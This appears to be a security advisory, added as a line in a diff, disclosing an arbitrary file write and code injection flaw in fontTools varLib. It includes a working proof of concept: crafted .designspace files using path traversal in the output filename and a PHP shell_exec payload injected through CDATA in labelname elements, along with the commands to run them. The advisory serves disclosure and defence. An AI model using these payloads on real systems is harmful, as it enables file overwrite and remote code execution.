+ "details": "## Summary\n\nThe `fonttools varLib` (or `python3 -m fontTools.varLib`) script has an arbitrary file write vulnerability that leads to remote code execution when a malicious .designspace file is processed. The vulnerability affects the `main()` code path of `fontTools.varLib`, used by the fonttools varLib CLI and any code that invokes `fontTools.varLib.main()`.\n\nThe vulnerability exists due to unsanitised filename handling combined with content injection. Attackers can write files to arbitrary filesystem locations via path traversal sequences, and inject malicious code (like PHP) into the output files through XML injection in labelname elements. When these files are placed in web-accessible locations and executed, this achieves remote code execution without requiring any elevated privileges. Once RCE is obtained, attackers can further escalate privileges to compromise system files (like overwriting `/etc/passwd`).\n\nOverall this allows attackers to:\n- Write font files to arbitrary locations on the filesystem\n- Overwrite configuration files\n- Corrupt application files and dependencies\n- Obtain remote code execution\n\nThe attacker controls the file location, extension and contents which could lead to remote code execution as well as enabling a denial of service through file corruption means.\n\n## Affected Lines\n\n`fontTools/varLib/__init__.py`\n```python\nfilename = vf.filename # Unsanitised filename\noutput_path = os.path.join(output_dir, filename) # Path traversal\nvf.save(output_path) # Arbitrary file write\n```\n\n## PoC\n1. Set up `malicious.designspace` and respective `source-*.ttf` files in a directory like `/Users/<username>/testing/demo/` (will impact relative file location within malicious.designspace)\n\n`setup.py`\n```python\n#!/usr/bin/env python3\nimport os\n\nfrom fontTools.fontBuilder import FontBuilder\nfrom fontTools.pens.ttGlyphPen import TTGlyphPen\n\ndef create_source_font(filename, weight=400):\n fb = FontBuilder(unitsPerEm=1000, isTTF=True)\n fb.setupGlyphOrder([\".notdef\"])\n fb.setupCharacterMap({})\n \n pen = TTGlyphPen(None)\n pen.moveTo((0, 0))\n pen.lineTo((500, 0))\n pen.lineTo((500, 500))\n pen.lineTo((0, 500))\n pen.closePath()\n \n fb.setupGlyf({\".notdef\": pen.glyph()})\n fb.setupHorizontalMetrics({\".notdef\": (500, 0)})\n fb.setupHorizontalHeader(ascent=800, descent=-200)\n fb.setupOS2(usWeightClass=weight)\n fb.setupPost()\n fb.setupNameTable({\"familyName\": \"Test\", \"styleName\": f\"Weight{weight}\"})\n fb.save(filename)\n\nif __name__ == '__main__':\n os.chdir(os.path.dirname(os.path.abspath(__file__)))\n create_source_font(\"source-light.ttf\", weight=100)\n create_source_font(\"source-regular.ttf\", weight=400)\n```\n\n`malicious.designspace`\n```xml\n<?xml version='1.0' encoding='UTF-8'?>\n<designspace format=\"5.0\">\n <axes>\n <axis tag=\"wght\" name=\"Weight\" minimum=\"100\" maximum=\"900\" default=\"400\"/>\n </axes>\n \n <sources>\n <source filename=\"source-light.ttf\" name=\"Light\">\n <location>\n <dimension name=\"Weight\" xvalue=\"100\"/>\n </location>\n </source>\n <source filename=\"source-regular.ttf\" name=\"Regular\">\n <location>\n <dimension name=\"Weight\" xvalue=\"400\"/>\n </location>\n </source>\n </sources>\n \n <!-- Filename can be arbitrarily set to any path on the filesystem -->\n <variable-fonts>\n <variable-font name=\"MaliciousFont\" filename=\"../../tmp/newarbitraryfile.json\">\n <axis-subsets>\n <axis-subset name=\"Weight\"/>\n </axis-subsets>\n </variable-font>\n </variable-fonts>\n</designspace>\n```\n\nOptional: You can put a file with any material within `../../tmp/newarbitraryfile.json` in advance, the contents in the file will be overwritten after running the setup script in the following step.\n\n2. Run the setup.py script to generate `source-*.tff` files required for the malicious.designspace file.\n```bash\npython3 setup.py\n```\n3. Execute the given payload using the vulnerable varLib saving the file into the arbitrary file location of filename\n```bash\nfonttools varLib malicious.designspace\n```\n4. Validate arbitrary file write was performed by looking at path assigned within malicious designspace\n```bash\ncat {{filename_location}}\n```\n5. After validating that we can provide arbitrary write to any location, we can also validate that we can control sections of content as well demonstrated with the below payload.\n\n`malicious2.designspace`\n```xml\n<?xml version='1.0' encoding='UTF-8'?>\n<designspace format=\"5.0\">\n\t<axes>\n <!-- XML injection occurs in labelname elements with CDATA sections -->\n\t <axis tag=\"wght\" name=\"Weight\" minimum=\"100\" maximum=\"900\" default=\"400\">\n\t <labelname xml:lang=\"en\"><![CDATA[<?php echo shell_exec(\"/usr/bin/touch /tmp/MEOW123\");?>]]]]><![CDATA[>]]></labelname>\n\t <labelname xml:lang=\"fr\">MEOW2</labelname>\n\t </axis>\n\t</axes>\n\t<axis tag=\"wght\" name=\"Weight\" minimum=\"100\" maximum=\"900\" default=\"400\"/>\n\t<sources>\n\t\t<source filename=\"source-light.ttf\" name=\"Light\">\n\t\t\t<location>\n\t\t\t\t<dimension name=\"Weight\" xvalue=\"100\"/>\n\t\t\t</location>\n\t\t</source>\n\t\t<source filename=\"source-regular.ttf\" name=\"Regular\">\n\t\t\t<location>\n\t\t\t\t<dimension name=\"Weight\" xvalue=\"400\"/>\n\t\t\t</location>\n\t\t</source>\n\t</sources>\n\t<variable-fonts>\n\t\t<variable-font name=\"MyFont\" filename=\"output.ttf\">\n\t\t\t<axis-subsets>\n\t\t\t\t<axis-subset name=\"Weight\"/>\n\t\t\t</axis-subsets>\n\t\t</variable-font>\n\t</variable-fonts>\n\t<instances>\n\t\t<instance name=\"Display Thin\" familyname=\"MyFont\" stylename=\"Thin\">\n\t\t\t<location><dimension name=\"Weight\" xvalue=\"100\"/></location>\n\t\t\t<labelname xml:lang=\"en\">Display Thin</labelname>\n\t\t</instance>\n\t</instances>\n</designspace>\n```\n\n6. When the program is run, we can show we control the contents in the new file\n```bash\nfonttools varLib malicious2.designspace -o file123\n```\nHere being outputted to a localised area ignoring filename presented in variable-font\n\n7. We can look inside file123 to validate user controlled injection\n```bash\ncat file123\n```\nto show `<?php echo shell_exec(\"/usr/bin/touch /tmp/MEOW123\");?>]]>`\n\n8. Executing the file and reading looking at the newly generated file\n```bash\nphp file123\nls -la /tmp/MEOW123\n```\nwe can see that the file was just created showing RCE.\n\n## Recommendations\n\n- Ensure output file paths configured within designspace files are restricted to the local directory or consider further security measures to prevent arbitrary file write/overwrite within any directory on the system",
0 commit comments